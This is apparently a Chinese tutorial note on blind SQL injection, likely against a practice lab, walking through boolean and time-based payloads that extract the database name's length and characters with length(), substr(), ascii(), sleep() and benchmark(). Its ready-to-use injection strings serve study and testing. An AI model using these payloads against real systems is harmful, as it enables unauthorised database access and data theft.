一.首先输入1和-1 查看输入正确和不正确两种情况
... where user_id =$id
输入 真 and 假 = 假
(1)...where user_id = 1 and 1=2
(2)...where user_id = 1‘ and ‘1‘=‘2
(3)...where user_id = 1" and "1"="2
如果结果显示为 MISSING 则说明 假的数据(1=2)被注入进去
结果单引号的为假,则存在SQL盲注漏洞
1‘ and 真 -- 结果为真
1‘ and 假 -- 结果为假
(1)猜解字符串长度 length(str)
输入:1‘ and length(database())>1--
或 用hackbar
1‘ and length(database())>10--
用二分法得到database长度为4
(2)猜解字符串
获取单个字符 substr(string,start,length) 类似于暴力破解,有点慢
获取字符ascii码 ascii(string) 单字符的ascii的范围 0~127
输入:1’ and ascii(substr(database(),1,1))>64 --
利用二分法
得到第一个字符ascii为100 是字母d
同样获得1’ and ascii(substr(database(),2,1))>64 -- 第二,三,四个
SQL函数:if(expr1,expr2,expr3)如果1为真,返回2,否则返回3
sleep(N) 休眠N秒
benchmark(count,expr) 重复计算(计算次数,表达式)
输入:1‘ and sleep(if(length(database())=4,5,0))-- 为真
输入:1‘ and sleep(if(length(database())=4,5,0))-- 为假
输入:1‘ and benchmark(if(length(database())=4,5000000,0),md5(‘test‘));--
原文:https://www.cnblogs.com/liqik/p/10486257.html